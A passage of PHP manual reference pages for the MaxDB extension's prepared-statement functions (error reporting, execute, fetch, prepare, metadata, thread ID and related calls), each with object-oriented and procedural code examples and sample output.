$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* drop table */
   maxdb_query($link, "DROP TABLE temp.mycity");

   /* execute query */
   maxdb_stmt_execute($stmt);

   printf("Error: %d.\n", maxdb_stmt_errno($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_stmt_execute(): -4004 POS(23) Unknown table name:MYCITY [42000] <...>
Error: -4004.

See Also

  • maxdb_stmt_error() - Returns a string description for last statement error
  • maxdb_stmt_sqlstate() - Returns SQLSTATE error from previous statement operation

User Contributed Notes

There are no user contributed notes for this page.


Returns a string description for last statement error

  • « maxdb_stmt_errno
  • maxdb_stmt_execute »
  • PHP Manual
  • MaxDB Functions
  • Returns a string description for last statement error

maxdb_stmt_error

maxdb_stmt::error

(PECL maxdb >= 1.0)

maxdb_stmt_error -- maxdb_stmt::error — Returns a string description for last statement error

Description

Procedural style

string maxdb_stmt_error ( resource $stmt )

Object oriented style

string $maxdb_stmt->error;

For the statement specified by stmt, maxdb_stmt_error() returns a containing the error message for the most recently invoked statement function that can succeed or fail.

Return Values

A string that describes the error. An empty string if no error occurred.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* drop table */
   $maxdb->query("DROP TABLE temp.mycity");

   /* execute query */
   $stmt->execute();

   printf("Error: %s.\n", $stmt->error);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* drop table */
   maxdb_query($link, "DROP TABLE temp.mycity");

   /* execute query */
   maxdb_stmt_execute($stmt);

   printf("Error: %s.\n", maxdb_stmt_error($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_stmt_execute(): -4004 POS(23) Unknown table name:MYCITY [42000] <...>
Error: POS(23) Unknown table name:MYCITY.

See Also

  • maxdb_stmt_errno() - Returns the error code for the most recent statement call
  • maxdb_stmt_sqlstate() - Returns SQLSTATE error from previous statement operation

User Contributed Notes

There are no user contributed notes for this page.


Executes a prepared Query

  • « maxdb_stmt_error
  • maxdb_stmt_fetch »
  • PHP Manual
  • MaxDB Functions
  • Executes a prepared Query

maxdb_stmt_execute

maxdb_stmt::execute

(PECL maxdb >= 1.0)

maxdb_stmt_execute -- maxdb_stmt::execute — Executes a prepared Query

Description

Procedural style

bool maxdb_stmt_execute ( resource $stmt )

Object oriented style

bool maxdb_stmt::execute ( void )

The maxdb_stmt_execute() function executes a query that has been previously prepared using the maxdb_prepare() function represented by the stmt resource. When executed any parameter markers which exist will automatically be replaced with the appropiate data.

If the statement is UPDATE, DELETE, or INSERT, the total number of affected rows can be determined by using the maxdb_stmt_affected_rows() function. Likewise, if the query yields a result set the maxdb_fetch() function is used.

Note:

When using maxdb_stmt_execute(), the maxdb_fetch() function must be used to fetch the data prior to preforming any additional queries.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");

/* Prepare an insert statement */
$query = "INSERT INTO temp.mycity (zip, name, state) VALUES (?,?,?)";
$stmt = $maxdb->prepare($query);

$stmt->bind_param("sss", $val1, $val2, $val3);

$val1 = '11111';
$val2 = 'Georgetown';
$val3 = 'NY';

/* Execute the statement */
$stmt->execute();

$val1 = '22222';
$val2 = 'Hubbatown';
$val3 = 'CA';

/* Execute the statement */
$stmt->execute();

/* close statement */
$stmt->close();

/* retrieve all rows from myCity */
$query = "SELECT zip, name, state FROM temp.mycity";
if ($result = $maxdb->query($query)) {
   while ($row = $result->fetch_row()) {
       printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
   }
   /* free result set */
   $result->close();
}

/* remove table */
$maxdb->query("DROP TABLE temp.mycity");

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");

/* Prepare an insert statement */
$query = "INSERT INTO temp.mycity (zip, name, state) VALUES (?,?,?)";
$stmt = maxdb_prepare($link, $query);

maxdb_stmt_bind_param($stmt, "sss", $val1, $val2, $val3);

$val1 = '11111';
$val2 = 'Georgetown';
$val3 = 'NY';

/* Execute the statement */
maxdb_stmt_execute($stmt);

$val1 = '22222';
$val2 = 'Hubbatown';
$val3 = 'CA';

/* Execute the statement */
maxdb_stmt_execute($stmt);

/* close statement */
maxdb_stmt_close($stmt);

/* retrieve all rows from myCity */
$query = "SELECT zip, name, state FROM temp.mycity";
if ($result = maxdb_query($link, $query)) {
   while ($row = maxdb_fetch_row($result)) {
       printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
   }
   /* free result set */
   maxdb_free_result($result);
}

/* remove table */
maxdb_query($link, "DROP TABLE temp.mycity");

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

11111 (Georgetown,NY)
22222 (Hubbatown,CA)

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_bind_param() - Binds variables to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.


Fetch results from a prepared statement into the bound variables

  • « maxdb_stmt_execute
  • maxdb_stmt_free_result »
  • PHP Manual
  • MaxDB Functions
  • Fetch results from a prepared statement into the bound variables

maxdb_stmt_fetch

maxdb_stmt::fetch

(PECL maxdb >= 1.0)

maxdb_stmt_fetch -- maxdb_stmt::fetch — Fetch results from a prepared statement into the bound variables

Description

Procedural style

bool maxdb_stmt_fetch ( resource $stmt )

Object oriented style

bool maxdb_stmt::fetch ( void )

maxdb_stmt_fetch() returns row data using the variables bound by maxdb_stmt_bind_result().

Note:

Note that all columns must be bound by the application before calling maxdb_stmt_fetch().

Return Values

Return values
Value | Description
TRUE | Success. Data has been fetched
FALSE | Error occurred
NULL | No more rows/data exists

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT zip, name FROM hotel.city ORDER by name";

if ($stmt = $maxdb->prepare($query)) {

   /* execute statement */
   $stmt->execute();

   /* bind result variables */
   $stmt->bind_result($name, $code);

   /* fetch values */
   while ($stmt->fetch()) {
       printf ("%s (%s)\n", $name, $code);
   }

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT zip, name FROM hotel.city ORDER by name";

if ($stmt = maxdb_prepare($link, $query)) {

   /* execute statement */
   maxdb_stmt_execute($stmt);

   /* bind result variables */
   maxdb_stmt_bind_result($stmt, $name, $code);

   /* fetch values */
   while (maxdb_stmt_fetch($stmt)) {
       printf ("%s (%s)\n", $name, $code);
   }

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

12203 (Albany)
60601 (Chicago)
60615 (Chicago)
45211 (Cincinnati)
33575 (Clearwater)
75243 (Dallas)
32018 (Daytona Beach)
33441 (Deerfield Beach)
48226 (Detroit)
90029 (Hollywood)
92714 (Irvine)
90804 (Long Beach)
11788 (Long Island)
90018 (Los Angeles)
70112 (New Orleans)
10019 (New York)
10580 (New York)
92262 (Palm Springs)
97213 (Portland)
60018 (Rosemont)
95054 (Santa Clara)
20903 (Silver Spring)
20005 (Washington)
20019 (Washington)
20037 (Washington)

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_errno() - Returns the error code for the most recent statement call
  • maxdb_stmt_error() - Returns a string description for last statement error
  • maxdb_stmt_bind_result() - Binds variables to a prepared statement for result storage

User Contributed Notes

There are no user contributed notes for this page.


Frees stored result memory for the given statement handle

  • « maxdb_stmt_fetch
  • maxdb_stmt_init »
  • PHP Manual
  • MaxDB Functions
  • Frees stored result memory for the given statement handle

maxdb_stmt_free_result

maxdb_stmt::free_result

(PECL maxdb >= 1.0)

maxdb_stmt_free_result -- maxdb_stmt::free_result — Frees stored result memory for the given statement handle

Description

Procedural style

void maxdb_stmt_free_result ( resource $stmt )

Object oriented style

void maxdb_stmt::free_result ( void )

The maxdb_stmt_free_result() function frees the result memory associated with the statement represented by the stmt parameter, which was allocated by maxdb_stmt_store_result().

Return Values

This function doesn't return any value.

See Also

  • maxdb_stmt_store_result() - Transfers a result set from a prepared statement

User Contributed Notes

There are no user contributed notes for this page.


Initializes a statement and returns an resource for use with maxdb_stmt_prepare

  • « maxdb_stmt_free_result
  • maxdb_stmt_num_rows »
  • PHP Manual
  • MaxDB Functions
  • Initializes a statement and returns an resource for use with maxdb_stmt_prepare

maxdb_stmt_init

maxdb::stmt_init

(PECL maxdb >= 1.0)

maxdb_stmt_init -- maxdb::stmt_init — Initializes a statement and returns an resource for use with maxdb_stmt_prepare

Description

Procedural style

resource maxdb_stmt_init ( resource $link )

Object oriented style

object maxdb::stmt_init ( void )

Allocates and initializes a statement resource suitable for maxdb_stmt_prepare().

Note:

Any subsequent calls to any maxdb_stmt function will fail until maxdb_stmt_prepare() was called.

Return Values

Returns an resource.

See Also

  • maxdb_stmt_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


Return the number of rows in statements result set

  • « maxdb_stmt_init
  • maxdb_stmt_param_count »
  • PHP Manual
  • MaxDB Functions
  • Return the number of rows in statements result set

maxdb_stmt_num_rows

maxdb_stmt::num_rows

(PECL maxdb >= 1.0)

maxdb_stmt_num_rows -- maxdb_stmt::num_rows — Return the number of rows in statements result set

Description

Procedural style

int maxdb_stmt_num_rows ( resource $stmt )

Object oriented style

int $maxdb_stmt->num_rows;

Returns the number of rows in the result set.

Return Values

An integer representing the number of rows in result set.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT zip, name FROM hotel.city ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* execute query */
   $stmt->execute();

   /* store result */
   $stmt->store_result();

   printf("Number of rows: %d.\n", $stmt->num_rows);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT zip, name FROM hotel.city ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* execute query */
   maxdb_stmt_execute($stmt);

   /* store result */
   maxdb_stmt_store_result($stmt);

   printf("Number of rows: %d.\n", maxdb_stmt_num_rows($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Number of rows: 25.

See Also

  • maxdb_stmt_affected_rows() - Returns the total number of rows changed, deleted, or inserted by the last executed statement
  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_store_result() - Transfers a result set from a prepared statement

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of parameter for the given statement

  • « maxdb_stmt_num_rows
  • maxdb_stmt_prepare »
  • PHP Manual
  • MaxDB Functions
  • Returns the number of parameter for the given statement

maxdb_stmt_param_count

maxdb_stmt::param_count

(PECL maxdb >= 1.0)

maxdb_stmt_param_count -- maxdb_stmt::param_count — Returns the number of parameter for the given statement

Description

Procedural style

int maxdb_stmt_param_count ( resource $stmt )

Object oriented style

int $maxdb_stmt->param_count;

maxdb_stmt_param_count() returns the number of parameter markers present in the prepared statement.

Return Values

returns an integer representing the number of parameters.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($stmt = $maxdb->prepare("SELECT name FROM hotel.city WHERE name=? OR state=?")) {

   $marker = $stmt->param_count;
   printf("Statement has %d markers.\n", $marker);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($stmt = maxdb_prepare($link, "SELECT name FROM hotel.city WHERE name=? OR state=?")) {

   $marker = maxdb_stmt_param_count($stmt);
   printf("Statement has %d markers.\n", $marker);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Statement has 2 markers.

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


Prepare an SQL statement for execution

  • « maxdb_stmt_param_count
  • maxdb_stmt_reset »
  • PHP Manual
  • MaxDB Functions
  • Prepare an SQL statement for execution

maxdb_stmt_prepare

maxdb_stmt::prepare

(PECL maxdb >= 1.0)

maxdb_stmt_prepare -- maxdb_stmt::prepare — Prepare an SQL statement for execution

Description

Procedural style

bool maxdb_stmt_prepare ( resource $stmt , string $query )

Object oriented style

mixed maxdb_stmt::prepare ( string $query )

maxdb_stmt_prepare() prepares the SQL query pointed to by the null-terminated string query. The statement resource has to be allocated by maxdb_stmt_init(). The query must consist of a single SQL statement.

Note:

You should not add a terminating semicolon or \g to the statement.

The parameter query can include one or more parameter markers in the SQL statement by embedding question mark (?) characters at the appropriate positions.

Note:

The markers are legal only in certain places in SQL statements. For example, they are allowed in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value.

However, they are not allowed for identifiers (such as table or column names), in the select list that names the columns to be returned by a SELECT statement), or to specify both operands of a binary operator such as the = equal sign. The latter restriction is necessary because it would be impossible to determine the parameter type. In general, parameters are legal only in Data Manipulation Languange (DML) statements, and not in Data Defination Language (DDL) statements.

The parameter markers must be bound to application variables using maxdb_stmt_bind_param() and/or maxdb_stmt_bind_result() before executing the statement or fetching rows.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$city = "Portland";

/* create a prepared statement */
$stmt =  $maxdb->stmt_init();
if ($stmt->prepare("SELECT state FROM hotel.city WHERE name=?")) {

   /* bind parameters for markers */
   $stmt->bind_param("s", $city);

   /* execute query */
   $stmt->execute();

   /* bind result variables */
   $stmt->bind_result($district);

   /* fetch value */
   $stmt->fetch();

   printf("%s is in district %s\n", $city, $district);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$city = "Portland";

/* create a prepared statement */
$stmt = maxdb_stmt_init($link);
if (maxdb_stmt_prepare($stmt, "SELECT state FROM hotel.city WHERE name=?")) {

   /* bind parameters for markers */
   maxdb_stmt_bind_param($stmt, "s", $city);

   /* execute query */
   maxdb_stmt_execute($stmt);

   /* bind result variables */
   maxdb_stmt_bind_result($stmt, $district);

   /* fetch value */
   maxdb_stmt_fetch($stmt);

   printf("%s is in district %s\n", $city, $district);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Portland is in district OR

See Also

  • maxdb_stmt_init() - Initializes a statement and returns an resource for use with maxdb_stmt_prepare
  • maxdb_stmt_execute() - Executes a prepared Query
  • maxdb_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • maxdb_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • maxdb_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • maxdb_stmt_close() - Closes a prepared statement

User Contributed Notes

There are no user contributed notes for this page.


Resets a prepared statement

  • « maxdb_stmt_prepare
  • maxdb_stmt_result_metadata »
  • PHP Manual
  • MaxDB Functions
  • Resets a prepared statement

maxdb_stmt_reset

maxdb_stmt::reset

(PECL maxdb >= 1.0)

maxdb_stmt_reset -- maxdb_stmt::reset — Resets a prepared statement

Description

Procedural style

bool maxdb_stmt_reset ( resource $stmt )

Object oriented style

bool maxdb_stmt::reset ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Returns result set metadata from a prepared statement

  • « maxdb_stmt_reset
  • maxdb_stmt_send_long_data »
  • PHP Manual
  • MaxDB Functions
  • Returns result set metadata from a prepared statement

maxdb_stmt_result_metadata

maxdb_stmt::result_metadata

(PECL maxdb >= 1.0)

maxdb_stmt_result_metadata -- maxdb_stmt::result_metadata — Returns result set metadata from a prepared statement

Description

Procedural style

resource maxdb_stmt_result_metadata ( resource $stmt )

Object oriented style

resource maxdb_stmt::result_metadata ( void )

If a statement passed to maxdb_prepare() is one that produces a result set, maxdb_stmt_result_metadata() returns the result resource that can be used to process the meta information such as total number of fields and individual field information.

Note:

This result set pointer can be passed as an argument to any of the field-based functions that process result set metadata, such as:

  • maxdb_num_fields()

  • maxdb_fetch_field()

  • maxdb_fetch_field_direct()

  • maxdb_fetch_fields()

  • maxdb_field_count()

  • maxdb_field_seek()

  • maxdb_field_tell()

  • maxdb_free_result()

The result set structure should be freed when you are done with it, which you can do by passing it to maxdb_free_result()

Note:

The result set returned by maxdb_stmt_result_metadata() contains only metadata. It does not contain any row results. The rows are obtained by using the statement handle with maxdb_fetch().

Return Values

maxdb_stmt_result_metadata() returns a result resource or FALSE if an error occurred.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

$maxdb->query("CREATE TABLE temp.friends (id int, name varchar(20))");

$maxdb->query("INSERT INTO temp.friends VALUES (1,'Hartmut')");
$maxdb->query("INSERT INTO temp.friends VALUES (2, 'Ulf')");

$stmt = $maxdb->prepare("SELECT id, name FROM temp.friends");
$stmt->execute();

/* get resultset for metadata */
$result = $stmt->result_metadata();

/* retrieve field information from metadata result set */
$field = $result->fetch_field();

printf("Fieldname: %s\n", $field->name);

/* close resultset */
$result->close();

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

maxdb_query($link, "CREATE TABLE temp.friends (id int, name varchar(20))");

maxdb_query($link, "INSERT INTO temp.friends VALUES (1,'Hartmut')");
maxdb_query($link, "INSERT INTO temp.friends VALUES (2, 'Ulf')");

$stmt = maxdb_prepare($link, "SELECT id, name FROM temp.friends");
maxdb_stmt_execute($stmt);

/* get resultset for metadata */
$result = maxdb_stmt_result_metadata($stmt);

/* retrieve field information from metadata result set */
$field = maxdb_fetch_field($result);

printf("Fieldname: %s\n", $field->name);

/* close resultset */
maxdb_free_result($result);

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Fieldname: ID

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_free_result() - Frees the memory associated with a result

User Contributed Notes

There are no user contributed notes for this page.


Send data in blocks

  • « maxdb_stmt_result_metadata
  • maxdb_stmt_sqlstate »
  • PHP Manual
  • MaxDB Functions
  • Send data in blocks

maxdb_stmt_send_long_data

maxdb_stmt::send_long_data

(PECL maxdb 1.0)

maxdb_stmt_send_long_data -- maxdb_stmt::send_long_data — Send data in blocks

Description

Procedural style

bool maxdb_stmt_send_long_data ( resource $stmt , int $param_nr , string $data )

Object oriented style

bool maxdb_stmt::stmt_send_long_data ( int $param_nr , string $data )

Allows to send parameter data to the server in pieces (or chunks). This function can be called multiple times to send the parts of a character or binary data value for a column, which must be one of the TEXT or BLOB datatypes.

param_nr indicates which parameter to associate the data with. Parameters are numbered beginning with 0. data is a string containing data to be sent.

Note:

For efficiency reasons, this function should be used after calling maxdb_execute(). In this case, the data is not stored on the client side. The end of the sequence must end with a call to maxdb_stmt_close_long_data().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_bind_param() - Binds variables to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.


Returns SQLSTATE error from previous statement operation

  • « maxdb_stmt_send_long_data
  • maxdb_stmt_store_result »
  • PHP Manual
  • MaxDB Functions
  • Returns SQLSTATE error from previous statement operation

maxdb_stmt_sqlstate

(PECL maxdb >= 1.0)

maxdb_stmt_sqlstate — Returns SQLSTATE error from previous statement operation

Description

string maxdb_stmt_sqlstate ( resource $stmt )

Returns a string containing the SQLSTATE error code for the most recently invoked prepared statement function that can succeed or fail. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC.

Note:

Note that not all MaxDB errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

Return Values

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* drop table */
   $maxdb->query("DROP TABLE temp.mycity");

   /* execute query */
   $stmt->execute();

   printf("Error: %s.\n", $stmt->sqlstate);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* drop table */
   maxdb_query($link, "DROP TABLE temp.mycity");

   /* execute query */
   maxdb_stmt_execute($stmt);

   printf("Error: %s.\n", maxdb_stmt_sqlstate($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_stmt_execute(): -4004 POS(23) Unknown table name:MYCITY [42000] <...>
Error: 42000.

See Also

  • maxdb_stmt_errno() - Returns the error code for the most recent statement call
  • maxdb_stmt_error() - Returns a string description for last statement error

User Contributed Notes

There are no user contributed notes for this page.


Transfers a result set from a prepared statement

  • « maxdb_stmt_sqlstate
  • maxdb_store_result »
  • PHP Manual
  • MaxDB Functions
  • Transfers a result set from a prepared statement

maxdb_stmt_store_result

maxdb_stmt::store_result

(PECL maxdb >= 1.0)

maxdb_stmt_store_result -- maxdb_stmt::store_result — Transfers a result set from a prepared statement

Description

Procedural style

bool maxdb_stmt_store_result ( resource $stmt )

Object oriented style

object maxdb_stmt::store_result ( void )

maxdb_stmt_store_result() has no functionally effect and should not be used for retrieving data from MaxDB server.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, zip FROM hotel.city ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* execute query */
   $stmt->execute();

   /* store result */
   $stmt->store_result();

   printf("Number of rows: %d.\n", $stmt->num_rows);

   /* free result */
   $stmt->free_result();

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, zip FROM hotel.city ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* execute query */
   maxdb_stmt_execute($stmt);

   /* store result */
   maxdb_stmt_store_result($stmt);

   printf("Number of rows: %d.\n", maxdb_stmt_num_rows($stmt));

   /* free result */
   maxdb_stmt_free_result($stmt);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Number of rows: 25.

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_result_metadata() - Returns result set metadata from a prepared statement
  • maxdb_fetch() - Alias of maxdb_stmt_fetch

User Contributed Notes

There are no user contributed notes for this page.


Transfers a result set from the last query

  • « maxdb_stmt_store_result
  • maxdb_thread_id »
  • PHP Manual
  • MaxDB Functions
  • Transfers a result set from the last query

maxdb_store_result

maxdb::store_result

(PECL maxdb >= 1.0)

maxdb_store_result -- maxdb::store_result — Transfers a result set from the last query

Description

Procedural style

resource maxdb_store_result ( resource $link )

Object oriented style

object maxdb::store_result ( void )

This function has no functionally effect.

Return Values

Returns a result resource or FALSE if an error occurred.

Examples

See maxdb_multi_query().

See Also

  • maxdb_real_query() - Execute an SQL query
  • maxdb_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.


Returns the thread ID for the current connection

  • « maxdb_store_result
  • maxdb_thread_safe »
  • PHP Manual
  • MaxDB Functions
  • Returns the thread ID for the current connection

maxdb_thread_id

maxdb::thread_id

(PECL maxdb >= 1.0)

maxdb_thread_id -- maxdb::thread_id — Returns the thread ID for the current connection

Description

Procedural style

int maxdb_thread_id ( resource $link )

Object oriented style

int $maxdb->thread_id;

The maxdb_thread_id() function returns the thread ID for the current connection which can then be killed using the maxdb_kill() function. If the connection is lost and you reconnect with maxdb_ping(), the thread ID will be other. Therefore you should get the thread ID only when you need it.

Note:

The thread ID is assigned on a connection-by-connection basis. Hence, if the connection is broken and then re-established a new thread ID will be assigned.

Return Values

maxdb_thread_id() returns the Thread ID for the current connection.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* determine our thread id */
$thread_id = $maxdb->thread_id;

/* Kill connection */
$maxdb->kill($thread_id);

/* This should produce an error */
if (!$maxdb->query("CREATE TABLE mycity LIKE hotel.city")) {
   printf("Error: %s\n", $maxdb->error);
   exit;
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* determine our thread id */
$thread_id = maxdb_thread_id($link);

/* Kill connection */
maxdb_kill($link, $thread_id);

/* This should produce an error */
if (!maxdb_query($link, "CREATE TABLE mycity LIKE hotel.city")) {
   printf("Error: %s\n", maxdb_error($link));
   exit;
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_query(): -10821 Session not connected <...>
Error: Session not connected

See Also

  • maxdb_kill() - Disconnects from a MaxDB server

User Contributed Notes

There are no user contributed notes for this page.


Returns whether thread safety is given or not

  • « maxdb_thread_id
  • maxdb_use_result »
  • PHP Manual
  • MaxDB Functions
  • Returns whether thread safety is given or not

maxdb_thread_safe

(PECL maxdb >= 7.6.06.04)

maxdb_thread_safe — Returns whether thread safety is given or not

Description

bool maxdb_thread_safe ( void )

maxdb_thread_safe() indicates whether the client library is compiled as thread-safe.

Return Values

TRUE if the client library is thread-safe, otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Initiate a result set retrieval

  • « maxdb_thread_safe
  • maxdb_warning_count »
  • PHP Manual
  • MaxDB Functions
  • Initiate a result set retrieval

maxdb_use_result

maxdb::use_result

(PECL maxdb >= 1.0)

maxdb_use_result -- maxdb::use_result — Initiate a result set retrieval

Description

Procedural style

resource maxdb_use_result ( resource $link )

Object oriented style

resource maxdb::use_result ( void )

maxdb_use_result() has no effect.

Return Values

Returns result or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
